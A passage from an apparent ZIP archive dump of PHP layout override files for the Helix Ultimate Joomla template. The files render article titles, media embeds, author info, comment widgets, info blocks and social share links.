	</span>
	<?php echo Text::_('JLIB_HTML_CHECKED_OUT'); ?>
<?php else : ?>
	<span class="hasTooltip fas fa-lock" title="<?php echo HTMLHelper::tooltipText($tooltip . '', 0); ?>"></span>
	<?php echo Text::_('JLIB_HTML_CHECKED_OUT'); ?>
<?php endif; ?>
PK!�/C���?helixultimate/overrides/layouts/joomla/content/icons/create.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

$params = $displayData['params'];
$legacy = $displayData['legacy'];

?>
<?php if ($params->get('show_icons')) : ?>
	<?php if ($legacy) : ?>
		<?php echo HTMLHelper::_('image', 'system/new.png', Text::_('JNEW'), null, true); ?>
	<?php else : ?>
		<span class="fas fa-plus" aria-hidden="true"></span>
		<?php echo Text::_('JNEW'); ?>
	<?php endif; ?>
<?php else : ?>
	<?php echo Text::_('JNEW') . '&#160;'; ?>
<?php endif; ?>
PK!Z�_�^^Khelixultimate/overrides/layouts/joomla/content/blog_style_default_links.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Router\Route;

?>
<ol class="nav nav-tabs nav-stacked">
<?php foreach ($displayData->get('link_items') as $item) : ?>
	<li>
		<?php echo HTMLHelper::_('link', Route::_(ContentHelperRoute::getArticleRoute($item->slug, $item->catid, $item->language)), $item->title); ?>
	</li>
<?php endforeach; ?>
</ol>
PK!�2��;;Phelixultimate/overrides/layouts/joomla/content/blog_style_default_item_title.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Language\Text;

// Create a shortcut for params.
$params  = $displayData->params;
$canEdit = $displayData->params->get('access-edit');

HTMLHelper::addIncludePath(JPATH_COMPONENT.'/helpers/html');
?>

<?php if ($displayData->state == 0 || $params->get('show_title') || ($params->get('show_author') && !empty($displayData->author ))) : ?>
	<div class="article-header">
		<?php if ($params->get('show_title')) : ?>
			<h2>
				<?php if ($params->get('link_titles') && ($params->get('access-view') || $params->get('show_noauth', '0') == '1')) : ?>
					<a href="<?php echo Route::_(ContentHelperRoute::getArticleRoute($displayData->slug, $displayData->catid, $displayData->language)); ?>">
						<?php echo $this->escape($displayData->title); ?>
					</a>
				<?php else : ?>
					<?php echo $this->escape($displayData->title); ?>
				<?php endif; ?>
			</h2>
		<?php endif; ?>

		<?php if ($displayData->state == 0) : ?>
			<span class="badge bg-warning"><?php echo Text::_('JUNPUBLISHED'); ?></span>
		<?php endif; ?>

		<?php if (strtotime($displayData->publish_up) > strtotime(Factory::getDate())) : ?>
			<span class="badge bg-warning"><?php echo Text::_('JNOTPUBLISHEDYET'); ?></span>
		<?php endif; ?>

		<?php if (JVERSION < 4): ?>
			<?php if ($displayData->publish_down != Factory::getDbo()->getNullDate()
				&& (strtotime($displayData->publish_down) < strtotime(Factory::getDate()))) : ?>
				<span class="badge bg-warning"><?php echo Text::_('JEXPIRED'); ?></span>
			<?php endif; ?>
		<?php else : ?>
			<?php if ($displayData->publish_down !== null && $displayData->publish_down < $currentDate) : ?>
				<span class="badge bg-warning"><?php echo Text::_('JEXPIRED'); ?></span>
			<?php endif; ?>
		<?php endif ?>

	</div>
<?php endif; ?>
PK!�j5ZAAChelixultimate/overrides/layouts/joomla/content/category_default.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

/**
 * Note that this layout opens a div with the page class suffix. If you do not use the category children
 * layout you need to close this div either by overriding this file or in your main layout.
 */
$params    = $displayData->params;
$category  = $displayData->get('category');
$extension = $category->extension;
$canEdit   = $params->get('access-edit');
$className = substr($extension, 4);

$app = Factory::getApplication();

$category->text = $category->description;
$app->triggerEvent('onContentPrepare', array($extension . '.categories', &$category, &$params, 0));
$category->description = $category->text;

$results = $app->triggerEvent('onContentAfterTitle', array($extension . '.categories', &$category, &$params, 0));
$afterDisplayTitle = trim(implode("\n", $results));

$results = $app->triggerEvent('onContentBeforeDisplay', array($extension . '.categories', &$category, &$params, 0));
$beforeDisplayContent = trim(implode("\n", $results));

$results = $app->triggerEvent('onContentAfterDisplay', array($extension . '.categories', &$category, &$params, 0));
$afterDisplayContent = trim(implode("\n", $results));

/**
 * This will work for the core components but not necessarily for other components
 * that may have different pluralisation rules.
 */
if (substr($className, -1) === 's')
{
	$className = rtrim($className, 's');
}

$tagsData = $category->tags->itemTags;
?>
<div>
	<div class="<?php echo $className .'-category' . $displayData->pageclass_sfx; ?>">
		<?php if ($params->get('show_page_heading')) : ?>
			<h1>
				<?php echo $displayData->escape($params->get('page_heading')); ?>
			</h1>
		<?php endif; ?>

		<?php if ($params->get('show_category_title', 1)) : ?>
			<h2>
				<?php echo HTMLHelper::_('content.prepare', $category->title, '', $extension . '.category.title'); ?>
			</h2>
		<?php endif; ?>
		<?php echo $afterDisplayTitle; ?>

		<?php if ($params->get('show_cat_tags', 1)) : ?>
			<?php echo LayoutHelper::render('joomla.content.tags', $tagsData); ?>
		<?php endif; ?>

		<?php if ($beforeDisplayContent || $afterDisplayContent || $params->get('show_description', 1) || $params->def('show_description_image', 1)) : ?>
			<div class="category-desc">
				<?php if ($params->get('show_description_image') && $category->getParams()->get('image')) : ?>
					<img src="<?php echo $category->getParams()->get('image'); ?>" alt="<?php echo htmlspecialchars($category->getParams()->get('image_alt'), ENT_COMPAT, 'UTF-8'); ?>">
				<?php endif; ?>
				<?php echo $beforeDisplayContent; ?>
				<?php if ($params->get('show_description') && $category->description) : ?>
					<?php echo HTMLHelper::_('content.prepare', $category->description, '', $extension . '.category.description'); ?>
				<?php endif; ?>
				<?php echo $afterDisplayContent; ?>
			</div>
		<?php endif; ?>
		<?php echo $displayData->loadTemplate($displayData->subtemplatename); ?>

		<?php if ($displayData->maxLevel != 0 && $displayData->get('children')) : ?>
			<div class="cat-children">
				<?php if ($params->get('show_category_heading_title_text', 1) == 1) : ?>
					<h3>
						<?php echo Text::_('JGLOBAL_SUBCATEGORIES'); ?>
					</h3>
				<?php endif; ?>
				<?php echo $displayData->loadTemplate('children'); ?>
			</div>
		<?php endif; ?>
	</div>
</div>

PK!�b�ss=helixultimate/overrides/layouts/joomla/content/blog/video.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

extract($displayData);

if(isset($attribs->helix_ultimate_video) && $attribs->helix_ultimate_video)
{
	$video = parse_url($attribs->helix_ultimate_video);
	
	switch($video['host'])
	{
		case 'youtu.be':
		$video_id 	= trim($video['path'],'/');
		$video_src 	= '//www.youtube.com/embed/' . $video_id;
		break;
		case 'www.youtube.com':
		case 'youtube.com':
		parse_str($video['query'], $query);
		$video_id 	= $query['v'];
		$video_src 	= '//www.youtube.com/embed/' . $video_id;
		break;
		case 'vimeo.com':
		case 'www.vimeo.com':
		$video_id 	= trim($video['path'],'/');
		$video_src 	= "//player.vimeo.com/video/" . $video_id;
	}

	if($video_src) {
		?>
		<div class="article-featured-video">
			<div class="ratio ratio-16x9">
				<iframe src="<?php echo $video_src; ?>" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>
			</div>
		</div>
		<?php
	}
}
PK!�����Chelixultimate/overrides/layouts/joomla/content/blog/author_info.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\User\UserHelper;

$template = HelixUltimate\Framework\Platform\Helper::loadTemplateData();
$params = $template->params;
?>

<?php if($params->get('author_info', 0)) : ?>
	<div class="article-author-information">
		<?php 
			$author = Factory::getUser( (int) $displayData->created_by );
			$profile = UserHelper::getProfile( (int) $displayData->created_by );
		?>
		<div class="d-flex">
			<div class="flex-shrink-0">
				<img class="me-3" src="https://www.gravatar.com/avatar/<?php echo md5($author->get('email')); ?>?s=64&d=identicon&r=PG" alt="<?php echo $author->name; ?>">
			</div>
			<div class="flex-grow-1 ms-3">
				<h5 class="mt-0"><?php echo $author->name; ?></h5>
				<?php if(isset($profile->profile['aboutme']) && $profile->profile['aboutme']) : ?>
					<div class="author-bio">
						<?php echo $profile->profile['aboutme']; ?>
						<?php if(isset($profile->profile['website']) && $profile->profile['website']) : ?>
							<div class="author-website mt-2">
								<strong><?php echo Text::_('HELIX_ULTIMATE_BLOG_AUTHOR_WEBSITE'); ?>:</strong> <a target="_blank" rel="noopener noreferrer" href="<?php echo strip_tags($profile->profile['website'], ''); ?>"><?php echo strip_tags($profile->profile['website'], ''); ?></a>
							</div>
						<?php endif; ?>
					</div>
				<?php endif; ?>
			</div>
		</div>
	</div>
<?php endif; ?>
PK!L0��=helixultimate/overrides/layouts/joomla/content/blog/audio.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

extract($displayData);
?>

<?php if(isset($attribs->helix_ultimate_audio) && $attribs->helix_ultimate_audio) : ?>
	<div class="article-featured-audio">
		<div class="ratio ratio-16x9">
			<?php echo $attribs->helix_ultimate_audio; ?>
		</div>
	</div>
<?php endif; ?>PK!�uaG��Fhelixultimate/overrides/layouts/joomla/content/blog/comments/count.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

$template = HelixUltimate\Framework\Platform\Helper::loadTemplateData();
$params = $template->params;

if( ( $params->get('comment') != 'disabled' ) && ( $params->get('comments_count') ) )
{
	$comment_categories = $params->get('comment_categories');

	if(is_array($comment_categories) && count($comment_categories))
	{
		if(in_array($displayData['item']->catid, $comment_categories))
		{
			$url = Route::_(ContentHelperRoute::getArticleRoute($displayData['item']->id . ':' . $displayData['item']->alias, $displayData['item']->catid, $displayData['item']->language));
			$root = Uri::base();
			$root = new Uri($root);
			$url = $root->getScheme() . '://' . $root->getHost() . $url;
			?>
			<span class="comments-count">
				<?php echo LayoutHelper::render('joomla.content.blog.comments.count.' . $params->get('comment'), array( 'item' => $displayData, 'params' => $params, 'url' => $url)); ?>
			</span>
			<?php
		}
	}
}
PK!Ԗ��Whelixultimate/overrides/layouts/joomla/content/blog/comments/comments/intensedebate.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();
?>

<?php if( $displayData['params']->get('comment_intensedebate_acc') != '' ) : ?>
	
	<script>
		var idcomments_acct = '<?php echo $displayData["params"]->get("comment_intensedebate_acc"); ?>';
		var idcomments_post_id = '<?php echo md5( $displayData["url"] ); ?>';
		var idcomments_post_url = '<?php echo $displayData["url"]; ?>';
	</script>
	<span id="IDCommentsPostTitle" style="display:none"></span>
	<script type='text/javascript' src='https://www.intensedebate.com/js/genericCommentWrapperV2.js'></script>

<?php endif; ?>PK!4���Rhelixultimate/overrides/layouts/joomla/content/blog/comments/comments/facebook.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();
$width = ($displayData['params']->get('comment_facebook_width') == 100 ) ? '100%' : (int) $displayData['params']->get('comment_facebook_width');
?>

<?php if( $displayData['params']->get('comment_facebook_app_id') != '' ) : ?>
	
	<div id="fb-root"></div>
	
	<script>(function(d, s, id) {
		var js, fjs = d.getElementsByTagName(s)[0];
		if (d.getElementById(id)) return;
		js = d.createElement(s); js.id = id;
		js.src = 'https://connect.facebook.net/en_US/sdk.js#xfbml=1&version=v2.11&appId=<?php echo $displayData['params']->get('comment_facebook_app_id'); ?>&autoLogAppEvents=1';
		fjs.parentNode.insertBefore(js, fjs);
		}(document, 'script', 'facebook-jssdk'));</script>

	<div class="fb-comments" data-href="<?php echo $displayData['url']; ?>" data-numposts="<?php echo (int) $displayData['params']->get('comment_facebook_number'); ?>" data-width="<?php echo $width; ?>" data-colorscheme="light"></div>
	
<?php endif; ?>PK!�*~���Phelixultimate/overrides/layouts/joomla/content/blog/comments/comments/disqus.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

if( $displayData['params']->get('comment_disqus_subdomain') != '' )
{

	?>

	<div id="disqus_thread"></div>
	<script>

	<?php
	$devmode = $displayData['params']->get('comment_disqus_devmode');
	if ($devmode)
	{
		echo 'var disqus_developer = 1;';
	}
	?>

	var disqus_shortname = '<?php echo htmlspecialchars($displayData["params"]->get("comment_disqus_subdomain")); ?>';
	var disqus_config = function () {
        this.page.url = "<?php echo $displayData['url']; ?>";
    };

	(function() { 
        var d = document, s = d.createElement('script');
		s.src = 'https://' + disqus_shortname + '.disqus.com/embed.js';
        s.setAttribute('data-timestamp', +new Date());
        (d.head || d.body).appendChild(s);
	})();
	
	</script>
	<noscript>
		Please enable JavaScript to view the 
		<a href="https://disqus.com/?ref_noscript" rel="nofollow">
			comments powered by Disqus.
		</a>
	</noscript>

	<?php
}
PK!��^��Mhelixultimate/overrides/layouts/joomla/content/blog/comments/count/disqus.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Factory;

if( $displayData['params']->get('comment_disqus_subdomain') != '' )
{
	$doc = Factory::getDocument();

	if(!defined('HELIX_ULTIMATE_COMMENTS_DISQUS_COUNT'))
	{
		ob_start();

		$devmode = $displayData['params']->get('comment_disqus_devmode');
		
		if ($devmode)
		{
			echo 'var disqus_developer = 1;';
		}

		?>
		var disqus_shortname = '<?php echo $displayData['params']->get("comment_disqus_subdomain"); ?>';

		(function() { 
			var d = document, s = d.createElement('script');
			s.src = 'https://' + disqus_shortname + '.disqus.com/count.js';
			s.setAttribute('data-timestamp', +new Date());
			(d.head || d.body).appendChild(s);
		})();

		<?php

		$output = ob_get_clean();

		$doc->addScriptdeclaration( $output );

		define('HELIX_ULTIMATE_COMMENTS_DISQUS_COUNT', 1);
	}
	?>
	<a href="<?php echo $displayData['url']; ?>#article-comments">
		<span class="disqus-comment-count" data-disqus-url="<?php echo $displayData['url']; ?>"></span>
	</a>
	<?php
}
PK!,;�ܝ�Ohelixultimate/overrides/layouts/joomla/content/blog/comments/count/facebook.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;

if( $displayData['params']->get('comment_facebook_app_id') != '' )
{

	$doc = Factory::getDocument();

	if(!defined('HELIX_ULTIMATE_COMMENTS_FACEBOOK_COUNT'))
	{
		$doc->addScript( 'https://connect.facebook.net/en_US/sdk.js#xfbml=1&version=v2.11&appId=' . $displayData['params']->get('comment_facebook_app_id') . '&autoLogAppEvents=1' );
		define('HELIX_ULTIMATE_COMMENTS_FACEBOOK_COUNT', 1);
	}
	?>

	<a href="<?php echo $displayData['url']; ?>#comments">
		<?php echo Text::_('HELIX_ULTIMATE_COMMENTS'); ?> (<span class="fb-comments-count" data-href="<?php echo $displayData['url']; ?>"></span>)
	</a>

	<?php
}PK!�f��&&Thelixultimate/overrides/layouts/joomla/content/blog/comments/count/intensedebate.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();
?>

<?php if( $displayData['params']->get('comment_intensedebate_acc') != '' ) : ?>
	<span class="comments-anchor">
		<script type="text/javascript">
			var idcomments_acct = '<?php echo $displayData["params"]->get("comment_intensedebate_acc"); ?>';
			var idcomments_post_id = '<?php echo md5( $displayData["url"] )?>';
			var idcomments_post_url = encodeURIComponent("<?php echo $displayData['url'];?>");
		</script>
		<script type="text/javascript" src="https://www.intensedebate.com/js/genericLinkWrapperV2.js"></script>
	</span>
<?php endif; ?>
PK!��[��Ihelixultimate/overrides/layouts/joomla/content/blog/comments/comments.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

$template = HelixUltimate\Framework\Platform\Helper::loadTemplateData();
$params = $template->params;

if( $params->get('comment') != 'disabled' )
{
	$comment_categories = $params->get('comment_categories');

	if(is_array($comment_categories) && count($comment_categories))
	{
		if(in_array($displayData->catid, $comment_categories))
		{
			$url = Route::_(\ContentHelperRoute::getArticleRoute($displayData->id . ':' . $displayData->alias, $displayData->catid, $displayData->language));
			$root = Uri::base();
			$root = new Uri($root);
			$url = $root->getScheme() . '://' . $root->getHost() . $url;

			echo '<div id="article-comments">';
			echo LayoutHelper::render( 'joomla.content.blog.comments.comments.' . $params->get('comment'), array( 'item'=>$displayData, 'params'=>$params, 'url'=>$url ) );
			echo '</div>';
		}
	}
}
PK!������?helixultimate/overrides/layouts/joomla/content/blog/gallery.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

extract($displayData);
?>

<?php if(isset($attribs->helix_ultimate_gallery) && $attribs->helix_ultimate_gallery) : ?>
	<?php $gallery = json_decode($attribs->helix_ultimate_gallery); ?>
	<?php $images = (isset($gallery->helix_ultimate_gallery_images) && $gallery->helix_ultimate_gallery_images) ? $gallery->helix_ultimate_gallery_images : array(); ?>

	<?php if(count((array)$images)) : ?>
		<div class="article-feature-gallery">
			<div id="article-feature-gallery-<?php echo $id; ?>" class="carousel slide" data-ride="carousel">
				<div class="carousel-inner" role="listbox">
					<?php foreach ( $images as $key => $image ) : ?>
						<div class="carousel-item<?php echo ($key===0) ? ' active': ''; ?>">
							<img src="<?php echo $image; ?>" alt="">
						</div>
					<?php endforeach; ?>
				</div>

				<button class="carousel-control-prev" data-bs-target="#article-feature-gallery-<?php echo $id; ?>" type="button" data-bs-slide="prev">
					<span class="carousel-control-prev-icon" aria-hidden="true"></span>
					<span class="visually-hidden">Previous</span>
				</button>

				<button class="carousel-control-next" data-bs-target="#article-feature-gallery-<?php echo $id; ?>" type="button" data-bs-slide="next">
					<span class="carousel-control-next-icon" aria-hidden="true"></span>
					<span class="visually-hidden">Next</span>
				</button>
			</div>
		</div>
	<?php endif; ?>
<?php endif; ?>
PK!�|�	��Chelixultimate/overrides/layouts/joomla/content/intro_info_block.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

$blockPosition = $displayData['params']->get('info_block_position', 0);

?>
<dl class="article-info text-muted">

	<?php if ($displayData['position'] === 'above' && ($blockPosition == 0 || $blockPosition == 2)
			|| $displayData['position'] === 'below' && ($blockPosition == 1)
			) : ?>

		<?php if ($displayData['params']->get('show_author') && !empty($displayData['item']->author )) : ?>
			<?php echo $this->sublayout('author', $displayData); ?>
		<?php endif; ?>

		<?php if ($displayData['params']->get('show_parent_category') && !empty($displayData['item']->parent_slug)) : ?>
			<?php echo $this->sublayout('parent_category', $displayData); ?>
		<?php endif; ?>

		<?php if ($displayData['params']->get('show_category')) : ?>
			<?php echo $this->sublayout('category', $displayData); ?>
		<?php endif; ?>

		<?php if ($displayData['params']->get('show_associations')) : ?>
			<?php echo $this->sublayout('associations', $displayData); ?>
		<?php endif; ?>

		<?php if ($displayData['params']->get('show_publish_date')) : ?>
			<?php echo $this->sublayout('publish_date', $displayData); ?>
		<?php endif; ?>

	<?php endif; ?>

	<?php if ($displayData['position'] === 'above' && ($blockPosition == 0)
			|| $displayData['position'] === 'below' && ($blockPosition == 1 || $blockPosition == 2)
			) : ?>
		<?php if ($displayData['params']->get('show_create_date')) : ?>
			<?php echo $this->sublayout('create_date', $displayData); ?>
		<?php endif; ?>

		<?php if ($displayData['params']->get('show_modify_date')) : ?>
			<?php echo $this->sublayout('modify_date', $displayData); ?>
		<?php endif; ?>

		<?php if ($displayData['params']->get('show_hits')) : ?>
			<?php echo $this->sublayout('hits', $displayData); ?>
		<?php endif; ?>
	<?php endif; ?>
</dl>
PK!�]���	�	=helixultimate/overrides/layouts/joomla/content/full_image.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Uri\Uri;

$params = $displayData->params;
$attribs = json_decode($displayData->attribs);

$template = HelixUltimate\Framework\Platform\Helper::loadTemplateData();
$tplParams = $template->params;
$og = isset($displayData->enableOpenGraph) ? $displayData->enableOpenGraph : $tplParams->get('og', 0);
$blog_image = $tplParams->get('blog_details_image', 'large');
$full_image = '';

if(isset($attribs->helix_ultimate_image) && $attribs->helix_ultimate_image != '')
{
	if($blog_image == 'default')
	{
		$full_image = $attribs->helix_ultimate_image;
	}
	else
	{
		$full_image = $attribs->helix_ultimate_image;
		$basename = basename($full_image);
		$details_image = JPATH_ROOT . '/' . dirname($full_image) . '/' . File::stripExt($basename) . '_'. $blog_image .'.' . File::getExt($basename);

		if(File::exists($details_image))
		{
			$full_image = Uri::root(true) . '/' . dirname($full_image) . '/' . File::stripExt($basename) . '_'. $blog_image .'.' . File::getExt($basename);
		}
	}
}


?>
<?php if($full_image) : ?>
	<div class="article-full-image">
		<img src="<?php echo $full_image; ?>" alt="<?php echo htmlspecialchars($displayData->title, ENT_COMPAT, 'UTF-8'); ?>" itemprop="image">
	</div>
<?php else: ?>
	<?php $images = json_decode($displayData->images); ?>
	<?php if (isset($images->image_fulltext) && !empty($images->image_fulltext)) : ?>
		<?php $imgfloat = empty($images->float_fulltext) ? $params->get('float_fulltext') : $images->float_fulltext; ?>
		<div class="article-full-image float-<?php echo htmlspecialchars($imgfloat); ?>"> <img
			<?php if ($images->image_fulltext_caption) :
				echo 'class="caption"' . ' title="' . htmlspecialchars($images->image_fulltext_caption) . '"';
			endif; ?>
			src="<?php echo htmlspecialchars($images->image_fulltext); ?>" alt="<?php echo htmlspecialchars($images->image_fulltext_alt); ?>" itemprop="image"> </div>
	<?php endif; ?>
<?php endif; ?>

<?php if($og) : ?>
	<?php echo LayoutHelper::render('joomla.content.open_graph', array('image'=>$full_image, 'title'=>$displayData->title, 'fb_app_id'=>$tplParams->get('og_fb_id'), 'twitter_site'=>$tplParams->get('og_twitter_site'), 'content'=>$displayData->introtext)); ?>
<?php endif; ?>
PK!� 蚈	�	=helixultimate/overrides/layouts/joomla/content/info_block.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Layout\LayoutHelper;

$intro = (isset($displayData['intro']) && $displayData['intro']) ? $displayData['intro'] : false;
$displayData['articleView'] = ($intro) ? 'intro' : 'details';
$blockPosition = $displayData['params']->get('info_block_position', 0);

?>
<div class="article-info">

	<?php if ($displayData['position'] === 'above' && ($blockPosition == 0 || $blockPosition == 2)
			|| $displayData['position'] === 'below' && ($blockPosition == 1)
			) : ?>

		<?php if ($displayData['params']->get('show_author') && !empty($displayData['item']->author )) : ?>
			<?php echo $this->sublayout('author', $displayData); ?>
		<?php endif; ?>

		<?php if ($displayData['params']->get('show_parent_category') && !empty($displayData['item']->parent_slug) && $intro == false) : ?>
			<?php echo $this->sublayout('parent_category', $displayData); ?>
		<?php endif; ?>

		<?php if ($displayData['params']->get('show_category')) : ?>
			<?php echo $this->sublayout('category', $displayData); ?>
		<?php endif; ?>

		<?php if ($displayData['params']->get('show_associations') && $intro == false) : ?>
			<?php echo $this->sublayout('associations', $displayData); ?>
		<?php endif; ?>

		<?php if ($displayData['params']->get('show_publish_date')) : ?>
			<?php echo $this->sublayout('publish_date', $displayData); ?>
		<?php endif; ?>
		
		<?php if ($intro) : ?>
			<?php echo LayoutHelper::render('joomla.content.blog.comments.count', $displayData); ?>
		<?php endif; ?>

	<?php endif; ?>

	<?php if ($displayData['position'] === 'above' && ($blockPosition == 0)
			|| $displayData['position'] === 'below' && ($blockPosition == 1 || $blockPosition == 2)
			) : ?>
		<?php if ($displayData['params']->get('show_create_date') && $intro == false) : ?>
			<?php echo $this->sublayout('create_date', $displayData); ?>
		<?php endif; ?>

		<?php if ($displayData['params']->get('show_modify_date') && $intro == false) : ?>
			<?php echo $this->sublayout('modify_date', $displayData); ?>
		<?php endif; ?>

		<?php if ($displayData['params']->get('show_hits') && $intro == false) : ?>
			<?php echo $this->sublayout('hits', $displayData); ?>
		<?php endif; ?>
	<?php endif; ?>
</div>
PK!�j��
�
?helixultimate/overrides/layouts/joomla/content/social_share.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

$url = Route::_(ContentHelperRoute::getArticleRoute($displayData->id . ':' . $displayData->alias, $displayData->catid, $displayData->language));
$root = Uri::base();
$root = new Uri($root);
$url = $root->getScheme() . '://' . $root->getHost() . $url;
$template = HelixUltimate\Framework\Platform\Helper::loadTemplateData();
$params = $template->params;
$tmpl_params = $template->params;
$socialShares = $tmpl_params->get("social_share_lists");

if( is_array($socialShares) && $params->get('social_share') ) : ?>
<div class="article-social-share">
	<div class="social-share-icon">
		<ul>
			<?php foreach( $socialShares as $socialSite ): ?>
				<?php if( $socialSite == 'facebook'): ?>
				<li>
					<a class="facebook" onClick="window.open('http://www.facebook.com/sharer.php?u=<?php echo $url; ?>','Facebook','width=600,height=300,left='+(screen.availWidth/2-300)+',top='+(screen.availHeight/2-150)+''); return false;" href="http://www.facebook.com/sharer.php?u=<?php echo $url; ?>" title="<?php echo Text::_('HELIX_ULTIMATE_SHARE_FACEBOOK'); ?>">
						<span class="fab fa-facebook" aria-hidden="true"></span>
					</a>
				</li>
				<?php endif; ?>
				<?php if( $socialSite == 'twitter'): ?>
				<li>
